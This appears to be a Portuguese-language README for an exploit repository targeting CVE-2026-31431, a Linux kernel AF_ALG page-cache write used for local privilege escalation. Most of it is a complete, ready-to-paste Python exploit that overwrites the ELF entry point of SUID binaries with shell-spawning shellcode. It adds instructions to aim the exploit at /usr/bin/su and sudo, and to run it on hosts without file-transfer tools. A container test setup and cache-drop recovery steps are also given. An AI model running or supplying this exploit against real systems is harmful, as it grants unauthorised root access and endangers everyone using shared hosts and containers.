CVE-2026-31431 "Copy Fail" — Exploit LPE Universal

Escrita arbitrária de 4 bytes no page cache do kernel Linux → Escalação Local de Privilégios

Múltiplas abordagens de exploit: sobrescrita dinâmica do entry point ELF, substituição completa do binário, compatível com Python 3.x com fallback de splice via ctypes.

O que é isto?

CVE-2026-31431 é uma vulnerabilidade no subsistema criptográfico AF_ALG do kernel Linux. Ao abusar de splice() + descriptografia in-place authencesn, um utilizador sem privilégios pode escrever 4 bytes num offset arbitrário no page cache do kernel — o mesmo cache usado para toda a memória com suporte em ficheiros.

Isto significa:

• Sem condições de corrida — single-threaded, determinístico
• Sem privilégios especiais — funciona dentro de contentores Docker padrão (seccomp permite AF_ALG)
• Sem dependência de versão do kernel — afeta todos os kernels de 2017 até ao presente
• Modifica ficheiros apenas em memória — o disco não é tocado, o reboot apaga todos os vestígios

Abordagens de Exploit

Este repositório fornece três ferramentas que usam a mesma primitiva copy-fall do AF_ALG:

	Entry Point Dinâmico	Substituição Completa do Binário	Verificador de Vulnerabilidade
Ficheiro	exploit.py	poc_compatible.py	check_cve.sh
Estratégia	Sobrescreve o entry point ELF com shellcode	Substitui o binário inteiro a partir do offset 0	Testa se o alvo é vulnerável
Alvo	Qualquer binário SUID x86_64	Qualquer binário (SUID ou não)	N/A
Python	3.x (todas as versões)	2 / 3	Bash
Payload	36 bytes de shellcode	ELF completo comprimido com zlib	N/A
Autor	Este trabalho	h4ppy7ree	h4ppy7ree

Entry point dinâmico — Analisa o cabeçalho ELF em tempo de execução para calcular o offset do ficheiro do entry point (p_offset + (e_entry - p_vaddr)), depois escreve um stub de shellcode pequeno. Sem offsets hardcoded — um único script funciona em qualquer binário SUID x86_64, independentemente da distribuição ou versão.

Substituição completa do binário — Sobrescreve o alvo a partir do offset 0 com um payload ELF completo pré-construído (comprimido com zlib e embutido no script). Pode visar binários não-SUID executados por processos privilegiados (cron jobs, serviços systemd, kube-proxy). Funciona com Python 2.

Verificador de vulnerabilidade — Testa se o sistema alvo tem AF_ALG, authencesn e algif_aead disponíveis antes de executar um exploit.

Início Rápido

Pré-requisitos

• Kernel Linux (qualquer versão desde ~2017)
• Python 3.x (para exploit.py; Python 2 suportado via poc_compatible.py)
• Qualquer binário SUID-root (/usr/bin/su, /usr/bin/sudo, etc.)

Reprodução numa única linha

# Criar um contentor de teste com um utilizador sem privilégios
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Depois, dentro do contentor como testuser:

# Antes: setuid(0) falha porque o uid real não é 0
/usr/local/bin/verify
# uid=1000 euid=0
# (sai normalmente, sem root)

# Executar o exploit
python3 exploit.py /usr/local/bin/verify

# Depois: entry point sobrescrito, shellcode obtém root
# uid=0(root) gid=1000(testuser)

Numa única linha (sem necessidade de transferência de ficheiros)

Em cenários reais, muitas vezes só tens uma shell crua — sem scp, sem curl, sem wget. Este método usa cat heredoc para escrever o exploit diretamente no terminal:

# Opção 1: executar o script de shell
sh exploit-one-liner.sh /usr/local/bin/verify

# Opção 2: colar diretamente no terminal (copiar o bloco inteiro)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Porque é que isto importa: Ambientes de contentores muitas vezes não têm ferramentas de transferência de ficheiros (scp, curl, wget). O método heredoc requer apenas cat e python3 — disponíveis em todo o lado.

Visar Outros Binários SUID

Podes substituir /usr/local/bin/verify por qualquer binário SUID-root:

python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Aviso: Visar binários SUID do sistema (como /usr/bin/su) afeta todos os utilizadores do sistema. O binário fica inutilizável até o page cache ser limpo. Na máquina anfitriã, qualquer utilizador que execute su obteria uma shell root.

Num sistema partilhado/em produção, isto é imediatamente percetível — su vai crashar ou gerar shells inesperadas para todos. Usa verify.c para testes seguros.

Recuperação

O exploit apenas modifica o page cache (memória), não o disco. Opções de recuperação:

Método	Onde	Comando
Limpar page cache	Anfitrião (root)	echo 3 > /proc/sys/vm/drop_caches
Reboot	Em qualquer lugar	reboot — o page cache é volátil
Contentor destruído	Em qualquer lugar	docker rm — o page cache é libertado com o contentor

# No anfitrião (após testes no contentor):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verificar recuperação:
xxd -l 8 /usr/bin/su
# Deve mostrar: 7f45 4c46 (.ELF)